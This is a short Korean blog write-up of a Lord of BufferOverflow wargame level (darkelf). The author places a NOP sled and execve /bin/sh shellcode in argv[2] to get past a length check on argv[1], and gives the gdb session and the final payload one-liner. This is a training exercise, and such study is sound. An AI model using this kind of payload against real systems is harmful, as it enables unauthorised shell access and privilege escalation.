HACKING/[SYSTEM HACKING] LOB
006. lob 6번 | anxi0
ANX1Z3R0
2020. 7. 30. 22:08
argv[1]의 크기를 제한한다.
그럼 2에 넣으면 되지
스페이스바를 하나 쓱 밀어서 argv[2]에 nop sled와 공격코드를 넣자.
애초에 argv[]라는 게 배열이라서 스페이스 바 단위로 배열에 저장한다.
일단 넣고 보자.
(gdb) b *main+242
(gdb) r `python -c 'print "\x90"*44+ "\xbf"*4 + " "+"\x90"*100 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'`
ret과 nop sled 사이에 공백하나 넣은 거 보이는가, 이게 argv[2]로 넘어가게 만드는 키다.
뭔 말인지 잘 모르겠다면, c언어 cli 프로그래밍을 해 보아라, 하나만 짜봐도 알 것이다.
또는 내 블로그에
https://anxi0.tistory.com/51 (python)
003. 생산성을 끔찍이 생각하는 나 | anxi0
나는 생산성에 집착하는 사람이므로, 아이디어가 떠올랐을 때 그것이 금방 기억에서 사라지는것을 경계한다. 그래서 만든 프로그램 ideaTank! 1. idea를 간단히 저장하는 프로그램 제작 2. 환경변수�
anxi0.tistory.com
이 글을 참고 해도 좋다.
아... 아닌가 싶었지만 혹시나 해서 enter를 한 번 쳤는데(스택 계속보기)
옳거니!
운이 진짜 좋았다.
역시나 어느정도 센스가 필요한 분야다.
이제 저 쉘코드 전 \x90중 아무데나 ret 해주자.
payload
./darkelf `python -c 'print "\x90"*44+ "\xbf"*4 + " "+"\x90"*100 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'`
이런 뿌듯함이 없다.